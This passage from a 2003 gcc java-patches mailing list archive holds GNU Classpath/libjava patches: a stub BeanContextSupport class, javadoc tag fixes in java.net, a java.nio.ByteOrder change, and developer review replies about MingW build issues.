java/beans/beancontext/BeanContextSupport.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/beans/beancontext/BeanContextSupport.java 10 Mar 2003 14:33:31 -0000 @@ -0,0 +1,448 @@ +/* java.beans.beancontext.BeanContextSupport + Copyright (C) 2003 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package java.beans.beancontext; + +import java.beans.PropertyChangeEvent; +import java.beans.PropertyChangeListener; +import java.beans.PropertyVetoException; +import java.beans.VetoableChangeListener; +import java.beans.Visibility; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.net.URL; +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.Iterator; +import java.util.Locale; + +/** + * @author Michael Koch + * @since 1.2 + */ +public class BeanContextSupport extends BeanContextChildSupport + implements BeanContext, Serializable, PropertyChangeListener, + VetoableChangeListener +{ + private static final long serialVersionUID = -4879613978649577204L; + + private void readObject (ObjectInputStream s) + throws ClassNotFoundException, IOException + { + throw new Error ("Not implemented"); + } + + private void writeObject (ObjectOutputStream s) + throws ClassNotFoundException, IOException + { + throw new Error ("Not implemented"); + } + + protected class BCSChild implements Serializable + { + private static final long serialVersionUID = 3289144128843950629L; + } + + protected static class BCSIterator implements Iterator + { + public boolean hasNext () + { + throw new Error ("Not implemented"); + } + + public Object next () + { + throw new Error ("Not implemented"); + } + + public void remove () + { + // This must be a noop remove operation. + } + } + + protected transient ArrayList bcmListeners; + + protected transient HashMap children; + + protected transient boolean designTime; + + protected transient Locale locale; + + protected transient boolean okToUseGui; + + /** + * Construct a BeanContextSupport instance. + */ + public BeanContextSupport () + { + this (null, null, true, true); + } + + /** + * Construct a BeanContextSupport instance. + */ + public BeanContextSupport (BeanContext peer) + { + this (peer, null, true, true); + } + + /** + * Construct a BeanContextSupport instance. + */ + public BeanContextSupport (BeanContext peer, Locale lcle) + { + this (peer, lcle, true, true); + } + + /** + * Construct a BeanContextSupport instance. + */ + public BeanContextSupport (BeanContext peer, Locale lcle, boolean dtime) + { + this (peer, lcle, dtime, true); + } + + /** + * Construct a BeanContextSupport instance. + */ + public BeanContextSupport (BeanContext peer, Locale lcle, boolean dtime, + boolean visible) + { + locale = lcle; + designTime = dtime; + okToUseGui = visible; + + initialize (); + + throw new Error ("Not implemented"); + } + + public boolean add (Object targetChild) + { + throw new Error ("Not implemented"); + } + + public boolean addAll (Collection c) + { + throw new Error ("Not implemented"); + } + + public void addBeanContextMembershipListener (BeanContextMembershipListener bcml) + { + throw new Error ("Not implemented"); + } + + public boolean avoidingGui () + { + throw new Error ("Not implemented"); + } + + protected Iterator bcsChildren () + { + throw new Error ("Not implemented"); + } + + protected void bcsPreDeserializationHook (ObjectInputStream ois) + throws ClassNotFoundException, IOException + { + throw new Error ("Not implemented"); + } + + protected void bcsPreSerializationHook (ObjectOutputStream oos) + throws IOException + { + throw new Error ("Not implemented"); + } + + protected void childDeserializedHook (Object child, BeanContextSupport.BCSChild bcsc) + { + throw new Error ("Not implemented"); + } + + protected void childJustAddedHook (Object child, BeanContextSupport.BCSChild bcsc) + { + throw new Error ("Not implemented"); + } + + protected void childJustRemovedHook (Object child, BeanContextSupport.BCSChild bcsc) + { + throw new Error ("Not implemented"); + } + + protected static final boolean classEquals (Class first, Class second) + { + throw new Error ("Not implemented"); + } + + public void clear () + { + throw new Error ("Not implemented"); + } + + public boolean contains (Object o) + { + throw new Error ("Not implemented"); + } + + public boolean containsAll (Collection c) + { + throw new Error ("Not implemented"); + } + + public boolean containsKey (Object o) + { + throw new Error ("Not implemented"); + } + + protected final Object[] copyChildren () + { + throw new Error ("Not implemented"); + } + + protected BeanContextSupport.BCSChild createBCSChild (Object targetChild, Object peer) + { + throw new Error ("Not implemented"); + } + + protected final void deserialize (ObjectInputStream ois, Collection coll) + throws ClassNotFoundException, IOException + { + throw new Error ("Not implemented"); + } + + public void dontUseGui () + { + throw new Error ("Not implemented"); + } + + protected final void fireChildrenAdded (BeanContextMembershipEvent bcme) + { + throw new Error ("Not implemented"); + } + + protected final void fireChildrenRemoved (BeanContextMembershipEvent bcme) + { + throw new Error ("Not implemented"); + } + + public BeanContext getBeanContextPeer () + { + throw new Error ("Not implemented"); + } + + protected static final BeanContextChild getChildBeanContextChild (Object child) + { + throw new Error ("Not implemented"); + } + + protected static final BeanContextMembershipListener getChildBeanContextMembershipListener (Object child) + { + throw new Error ("Not implemented"); + } + + protected static final PropertyChangeListener getChildPropertyChangeListener (Object child) + { + throw new Error ("Not implemented"); + } + + protected static final Serializable getChildSerializable (Object child) + { + throw new Error ("Not implemented"); + } + + protected static final VetoableChangeListener getChildVetoableChangeListener (Object child) + { + throw new Error ("Not implemented"); + } + + protected static final Visibility getChildVisibility (Object child) + { + throw new Error ("Not implemented"); + } + + public Locale getLocale () + { + throw new Error ("Not implemented"); + } + + public URL getResource (String name, BeanContextChild bcc) + { + throw new Error ("Not implemented"); + } + + public InputStream getResourceAsStream (String name, BeanContextChild bcc) + { + throw new Error ("Not implemented"); + } + + protected void initialize () + { + throw new Error ("Not implemented"); + } + + public Object instantiateChild (String beanName) + throws IOException, ClassNotFoundException + { + throw new Error ("Not implemented"); + } + + public boolean isDesignTime () + { + throw new Error ("Not implemented"); + } + + public boolean isEmpty () + { + throw new Error ("Not implemented"); + } + + public boolean isSerializing () + { + throw new Error ("Not implemented"); + } + + public Iterator iterator () + { + throw new Error ("Not implemented"); + } + + public boolean needsGui () + { + throw new Error ("Not implemented"); + } + + public void okToUseGui () + { + throw new Error ("Not implemented"); + } + + public void propertyChange (PropertyChangeEvent pce) + { + throw new Error ("Not implemented"); + } + + public final void readChildren (ObjectInputStream ois) + throws IOException, ClassNotFoundException + { + throw new Error ("Not implemented"); + } + + public boolean remove (Object targetChild) + { + throw new Error ("Not implemented"); + } + + protected boolean remove (Object targetChild, boolean callChildSetBC) + { + throw new Error ("Not implemented"); + } + + public boolean removeAll (Collection c) + { + throw new Error ("Not implemented"); + } + + public void removeBeanContextMembershipListener (BeanContextMembershipListener bcml) + { + throw new Error ("Not implemented"); + } + + public boolean retainAll (Collection c) + { + throw new Error ("Not implemented"); + } + + protected final void serialize (ObjectOutputStream oos, Collection coll) + throws IOException + { + throw new Error ("Not implemented"); + } + + public void setDesignTime (boolean dtime) + { + throw new Error ("Not implemented"); + } + + public void setLocale (Locale newLocale) + throws PropertyVetoException + { + throw new Error ("Not implemented"); + } + + public int size () + { + throw new Error ("Not implemented"); + } + + public Object[] toArray () + { + throw new Error ("Not implemented"); + } + + public Object[] toArray (Object[] arry) + { + throw new Error ("Not implemented"); + } + + protected boolean validatePendingAdd (Object targetChild) + { + throw new Error ("Not implemented"); + } + + protected boolean validatePendingRemove (Object targetChild) + { + throw new Error ("Not implemented"); + } + + public void vetoableChange (PropertyChangeEvent pce) + throws PropertyVetoException + { + throw new Error ("Not implemented"); + } + + public final void writeChildren (ObjectOutputStream oos) + throws IOException + { + throw new Error ("Not implemented"); + } +} --Boundary-00=_tKKb+aEi3C9FvsQ-- From java-patches-return-6418-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 14:47:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6960 invoked by alias); 10 Mar 2003 14:47:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6953 invoked from network); 10 Mar 2003 14:47:54 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by 172.16.49.205 with SMTP; 10 Mar 2003 14:47:54 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-245.ewetel.net [80.228.73.245]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2AElqgW002401 for ; Mon, 10 Mar 2003 15:47:52 +0100 (MET) Received: from debian.konqueror.de ([192.168.1.3] helo=asterix.konqueror.de) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18sOYb-0003SK-00 for ; Mon, 10 Mar 2003 15:47:13 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: Patch: java.net: documentation fixes for javadoc Date: Mon, 10 Mar 2003 15:48:20 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_0WKb+81dTbBwEDt" Message-Id: <200303101548.20715.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_0WKb+81dTbBwEDt Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited some fixes for javadoc tags. See the attached patch. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+bKW0WSOgCCdjSDsRAnlYAKCNrS+D7W4HZlFSkiRYWr4z3T/VhwCgjKpx Y6gbemlbtev+5dyj66u5N/w=3D =3DMXMy =2D----END PGP SIGNATURE----- --Boundary-00=_0WKb+81dTbBwEDt Content-Type: text/x-diff; charset="iso-8859-15"; name="net.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="net.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1769 diff -u -r1.1769 ChangeLog --- ChangeLog 10 Mar 2003 14:33:47 -0000 1.1769 +++ ChangeLog 10 Mar 2003 14:46:47 -0000 @@ -1,3 +1,12 @@ +2003-03-10 Michael Koch + + * java/net/DatagramSocket.java, + java/net/MulticastSocket.java, + java/net/Socket.java, + java/net/URL.java, + java/net/URLConnection.java: + Fixed some documentation tags to make javadoc and friends happy. + 2003-03-10 Michael Koch * java/beans/beancontext/BeanContextServicesSupport.java, Index: java/net/DatagramSocket.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/DatagramSocket.java,v retrieving revision 1.21 diff -u -r1.21 DatagramSocket.java --- java/net/DatagramSocket.java 3 Mar 2003 08:26:50 -0000 1.21 +++ java/net/DatagramSocket.java 10 Mar 2003 14:46:48 -0000 @@ -781,7 +781,7 @@ * @exception SocketException If an error occurs * @exception IllegalArgumentException If tc value is illegal * - * @see DatagramSocket:getTrafficClass + * @see DatagramSocket#getTrafficClass() * * @since 1.4 */ @@ -800,7 +800,7 @@ /** * Returns the current traffic class * - * @see DatagramSocket:setTrafficClass + * @see DatagramSocket#setTrafficClass(int tc) * * @exception SocketException If an error occurs * Index: java/net/MulticastSocket.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/MulticastSocket.java,v retrieving revision 1.19 diff -u -r1.19 MulticastSocket.java --- java/net/MulticastSocket.java 2 Mar 2003 20:11:12 -0000 1.19 +++ java/net/MulticastSocket.java 10 Mar 2003 14:46:48 -0000 @@ -136,7 +136,7 @@ * * @deprecated 1.2 Replaced by getTimeToLive() * - * @see Multicastsocket:getTimeToLive + * @see MulticastSocket#getTimeToLive() */ public byte getTTL() throws IOException { @@ -182,7 +182,7 @@ * * @exception SocketException If an error occurs * - * @see MulticastSocket:getNetworkInterface + * @see MulticastSocket#getNetworkInterface() * * @since 1.4 */ @@ -209,7 +209,7 @@ * * @exception SocketException If an error occurs * - * @see MulticastSocket:setNetworkInterface + * @see MulticastSocket#setNetworkInterface(NetworkInterface netIf) * * @since 1.4 */ @@ -277,7 +277,7 @@ * * @deprecated 1.2 Replaced by setTimeToLive * - * @see MulticastSocket:setTimeToLive + * @see MulticastSocket#setTimeToLive(int ttl) */ public void setTTL(byte ttl) throws IOException { @@ -360,8 +360,8 @@ * @exception SecurityException If a security manager exists and its * checkMulticast method doesn't allow the operation * - * @see MulticastSocket:setInterface - * @see MulticastSocket:setNetworkInterface + * @see MulticastSocket#setInterface(InetAddress addr) + * @see MulticastSocket#setNetworkInterface(NetworkInterface netIf) * * @since 1.4 */ @@ -395,8 +395,8 @@ * @exception SecurityException If a security manager exists and its * checkMulticast method doesn't allow the operation * - * @see MulticastSocket:setInterface - * @see MulticastSocket:setNetworkInterface + * @see MulticastSocket#setInterface(InetAddress addr) + * @see MulticastSocket#setNetworkInterface(NetworkInterface netIf) * * @since 1.4 */ Index: java/net/Socket.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/Socket.java,v retrieving revision 1.20 diff -u -r1.20 Socket.java --- java/net/Socket.java 3 Mar 2003 08:26:51 -0000 1.20 +++ java/net/Socket.java 10 Mar 2003 14:46:48 -0000 @@ -1017,7 +1017,7 @@ * * @exception SocketException If an error occurs * - * @see Socket:setTrafficClass + * @see Socket#setTrafficClass(int tc) * * @since 1.4 */ @@ -1042,7 +1042,7 @@ * @exception SocketException If an error occurs * @exception IllegalArgumentException If tc value is illegal * - * @see Socket:getTrafficClass + * @see Socket#getTrafficClass() * * @since 1.4 */ Index: java/net/URL.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/URL.java,v retrieving revision 1.17 diff -u -r1.17 URL.java --- java/net/URL.java 3 Mar 2003 08:26:51 -0000 1.17 +++ java/net/URL.java 10 Mar 2003 14:46:48 -0000 @@ -552,7 +552,7 @@ * Returns the query of the URL. This is the part of the file before the * '?'. * - * @ return the query part of the file, or null when there is no query part. + * @return the query part of the file, or null when there is no query part. */ public String getQuery () { Index: java/net/URLConnection.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/URLConnection.java,v retrieving revision 1.13 diff -u -r1.13 URLConnection.java --- java/net/URLConnection.java 10 Oct 2002 05:19:22 -0000 1.13 +++ java/net/URLConnection.java 10 Mar 2003 14:46:48 -0000 @@ -60,7 +60,7 @@ * * @param url The Object to create the URL connection to * - * @see URLConnection:connect + * @see URLConnection#connect() */ protected URLConnection(URL url) { @@ -472,8 +472,8 @@ * @exception IllegalStateException If already connected * @exception NullPointerException If key is null * - * @see URLConnection:getRequestProperty(String key) - * @see URLConnection:addRequestProperty(String key, String value) + * @see URLConnection#getRequestProperty(String key) + * @see URLConnection#addRequestProperty(String key, String value) */ public void setRequestProperty(String key, String value) { @@ -494,8 +494,8 @@ * @exception IllegalStateException If already connected * @exception NullPointerException If key is null * - * @see URLConnection:getRequestProperty(String key) - * @see URLConnection:setRequestProperty(String key, String value) + * @see URLConnection#getRequestProperty(String key) + * @see URLConnection#setRequestProperty(String key, String value) * * @since 1.4 */ @@ -517,8 +517,8 @@ * * @exception IllegalStateException If already connected * - * @see URLConnection:setRequestProperty(String key, String value) - * @see URLConnection:addRequestProperty(String key, String value) + * @see URLConnection#setRequestProperty(String key, String value) + * @see URLConnection#addRequestProperty(String key, String value) * * @return Value of the property. */ @@ -554,7 +554,7 @@ * * @deprecated 1.3 The method setRequestProperty should be used instead * - * @see URLConnection:setRequestProperty + * @see URLConnectionr#setRequestProperty(String key, String value) */ public static void setDefaultRequestProperty(String key, String value) { @@ -571,7 +571,7 @@ * * @deprecated 1.3 The method getRequestProperty should be used instead * - * @see URLConnection:getRequestProperty + * @see URLConnection#getRequestProperty(String key) */ public static String getDefaultRequestProperty(String key) { --Boundary-00=_0WKb+81dTbBwEDt-- From java-patches-return-6419-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 15:00:10 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14578 invoked by alias); 10 Mar 2003 15:00:09 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14568 invoked from network); 10 Mar 2003 15:00:08 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by 172.16.49.205 with SMTP; 10 Mar 2003 15:00:08 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-245.ewetel.net [80.228.73.245]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2AF06SX029598; Mon, 10 Mar 2003 16:00:07 +0100 (MET) Received: from debian.konqueror.de ([192.168.1.3] helo=asterix.konqueror.de) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18sOkR-0003TG-00; Mon, 10 Mar 2003 15:59:27 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: Re: Patch: java.io - java.nio.FileChannel support Date: Mon, 10 Mar 2003 16:00:34 +0100 User-Agent: KMail/1.5 References: <200303022325.12902.konqueror@gmx.de> In-Reply-To: <200303022325.12902.konqueror@gmx.de> Cc: Tom Tromey MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303101600.35054.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Sonntag, 2. M=E4rz 2003 23:25 schrieb Michael Koch: > Hi list, > > > I wrote a little patch to add java.nio.FileChannel support to > java.io. Please review and comment. > > BTW: This doesnt mean java.nio in CVS works. What about this patch ? Okay to commit ? Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+bKiTWSOgCCdjSDsRAkBaAJ9r9x6MVvnMG57kH23VfFVOJyercQCeNSeh gB+UWaHH0JXJIIpnfnO1ibw=3D =3DazAV =2D----END PGP SIGNATURE----- From java-patches-return-6420-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 15:23:47 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29078 invoked by alias); 10 Mar 2003 15:23:46 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29071 invoked from network); 10 Mar 2003 15:23:46 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 172.16.49.205 with SMTP; 10 Mar 2003 15:23:46 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-245.ewetel.net [80.228.73.245]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2AFNiSX008223 for ; Mon, 10 Mar 2003 16:23:45 +0100 (MET) Received: from debian.konqueror.de ([192.168.1.3] helo=asterix.konqueror.de) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18sP7J-0003UV-00 for ; Mon, 10 Mar 2003 16:23:05 +0100 From: Michael Koch To: GCJ Patches Subject: Re: Patch: Suppress MingW Build-Busting Net Code Date: Mon, 10 Mar 2003 16:24:13 +0100 User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="windows-1252" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303101624.13078.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Samstag, 8. M=E4rz 2003 05:13 schrieb Mohan Embar: > Hi Patch Folks, > > Taking the tact that something is better than nothing, this patch > #ifdefs out net code which currently breaks the MingW build. The > same problem of BSD/Windows Sockets incompatibilities in java.net > is rearing its head in the java.nio.channels package. Given that > the consensus seemed to be to split out the code in java.net, > shouldn't the same approach be followed in gnu.java.nio? > > I know the #ifdefs are ugly, but they currently run rampant in > java.net and they unbreak the MingW build while waiting for the > glorious day that we properly split out the code. Your call.... > > Enjoy. > > -- Mohan > http://www.thisiscool.com/ > http://www.animalsong.org/ > > ChangeLog > 2003-03-07 Mohan Embar > > * gnu/java/nio/natSelectorImpl.cc (java_do_select): #ifdef > out functionality not implemented under mingw (_Jv_select()) The correct solution would be to add a dummy _Jv_select to=20 libjava/win32.cc. > * java/net/natPlainDatagramSocketImpl.cc (peek): #ifdef > out code that breaks mingw build (ECONNREFUSED) > (peekData): idem > (send): idem > (receive): idem Are you sure this is the wrong exception ? What does mingw return when=20 connection is refused or not possible ? Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+bK4dWSOgCCdjSDsRAsxUAJ9SUs3T1u/DLLper3hskMGvBNXfcwCdG6ug UJwCw423NIR/JZnXcCD9pFI=3D =3DC6YF =2D----END PGP SIGNATURE----- From java-patches-return-6421-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 15:27:31 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30716 invoked by alias); 10 Mar 2003 15:27:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30705 invoked from network); 10 Mar 2003 15:27:29 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 172.16.49.205 with SMTP; 10 Mar 2003 15:27:29 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-245.ewetel.net [80.228.73.245]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2AFRRZK002727; Mon, 10 Mar 2003 16:27:28 +0100 (MET) Received: from debian.konqueror.de ([192.168.1.3] helo=asterix.konqueror.de) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18sPAu-0003Uq-00; Mon, 10 Mar 2003 16:26:48 +0100 From: Michael Koch To: gnustuff@thisiscool.com, GCJ Patches Subject: Re: Patch: natSocketChannelImpl.cc use elements + explicit cast Date: Mon, 10 Mar 2003 16:27:56 +0100 User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="windows-1252" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303101627.56480.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Samstag, 8. M=E4rz 2003 06:19 schrieb Mohan Embar: > This patch addresses something that broke under the MingW build, > possibly because jbyte seems to be unsigned char and not signed > char on Win32. It also appeared to me that "elements(data)" was > needed instead of just plain "data". Am I right? > > Also see my comment about the cast to char* instead of const char* > in ::send(). > 2003-03-07 Mohan Embar > > * gnu/java/nio/natSocketChannelImpl.cc (SocketRead): use > elements(data) and explicitly cast to char* on platforms > where jbyte is not signed char > (SocketWrite): idem Looks okay. Should I commit it ? Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+bK78WSOgCCdjSDsRAi7+AKCMKok0/CB2mD4lRutckLSdXfbWSQCfRD/9 NUAhe5hzJ7G1U3QyReLucvA=3D =3Dk4aI =2D----END PGP SIGNATURE----- From java-patches-return-6422-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 15:32:50 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1029 invoked by alias); 10 Mar 2003 15:32:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1017 invoked from network); 10 Mar 2003 15:32:49 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.16) by 172.16.49.205 with SMTP; 10 Mar 2003 15:32:49 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-245.ewetel.net [80.228.73.245]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2AFWlSX012252 for ; Mon, 10 Mar 2003 16:32:48 +0100 (MET) Received: from debian.konqueror.de ([192.168.1.3] helo=asterix.konqueror.de) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18sPG4-0003VG-00 for ; Mon, 10 Mar 2003 16:32:08 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: Patch: java.nio.ByteOrder Date: Mon, 10 Mar 2003 16:33:16 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_8ALb+xXs4qEUeSK" Message-Id: <200303101633.16676.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_8ALb+xXs4qEUeSK Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited a new implementation (now working) for java.nio.ByteOrder. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD4DBQE+bLA8WSOgCCdjSDsRAh+qAJ4nwlfXlbelKTTY6hIMuo25NTZPJgCYhB8q oxOxoj1ytOsyYc472of9FQ=3D=3D =3Dgu4r =2D----END PGP SIGNATURE----- --Boundary-00=_8ALb+xXs4qEUeSK Content-Type: text/x-diff; charset="iso-8859-15"; name="bo.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="bo.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1770 diff -u -r1.1770 ChangeLog --- ChangeLog 10 Mar 2003 14:48:08 -0000 1.1770 +++ ChangeLog 10 Mar 2003 15:30:48 -0000 @@ -1,5 +1,11 @@ 2003-03-10 Michael Koch + * java/nio/ByteOrder.java + (nativeOrder): Working implementation, added documentation. + (toString): Added documentation. + +2003-03-10 Michael Koch + * java/net/DatagramSocket.java, java/net/MulticastSocket.java, java/net/Socket.java, Index: java/nio/ByteOrder.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/ByteOrder.java,v retrieving revision 1.1 diff -u -r1.1 ByteOrder.java --- java/nio/ByteOrder.java 1 Nov 2002 12:03:38 -0000 1.1 +++ java/nio/ByteOrder.java 10 Mar 2003 15:30:48 -0000 @@ -35,19 +35,30 @@ obligated to do so. If you do not wish to do so, delete this exception statement from your version. */ -package java.nio; +package java.nio; +/** + * @author Michael Koch + * @since 1.4 + */ public final class ByteOrder { public static final ByteOrder BIG_ENDIAN = new ByteOrder(); public static final ByteOrder LITTLE_ENDIAN = new ByteOrder(); - public static ByteOrder nativeOrder() + /** + * Returns the native byte order of the platform currently running. + */ + public static ByteOrder nativeOrder () { - return BIG_ENDIAN; + return (System.getProperty ("gnu.cpu.endian") == "big" + ? BIG_ENDIAN : LITTLE_ENDIAN); } + /** + * Returns a string representation of the byte order. + */ public String toString() { return this == BIG_ENDIAN ? "BIG_ENDIAN" : "LITTLE_ENDIAN"; --Boundary-00=_8ALb+xXs4qEUeSK-- From java-patches-return-6423-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 16:38:59 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3065 invoked by alias); 10 Mar 2003 16:38:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3057 invoked from network); 10 Mar 2003 16:38:56 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 10 Mar 2003 16:38:56 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA22816; Mon, 10 Mar 2003 09:38:55 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C4BED4F8610; Mon, 10 Mar 2003 09:32:12 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: jacks xfail update From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: A dwarf is passing out somewhere in Detroit! Date: 10 Mar 2003 09:32:12 -0700 Message-ID: <87u1ebrxmb.fsf@fleche.redhat.com> Lines: 145 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the trunk and the 3.3 branch. This updates the jacks xfail list to reflect current reality. Tom Index: libjava/testsuite/./ChangeLog from Tom Tromey * libjava.jacks/jacks.xfail: Updated to reflect reality. Index: libjava/testsuite/libjava.jacks/jacks.xfail =================================================================== RCS file: 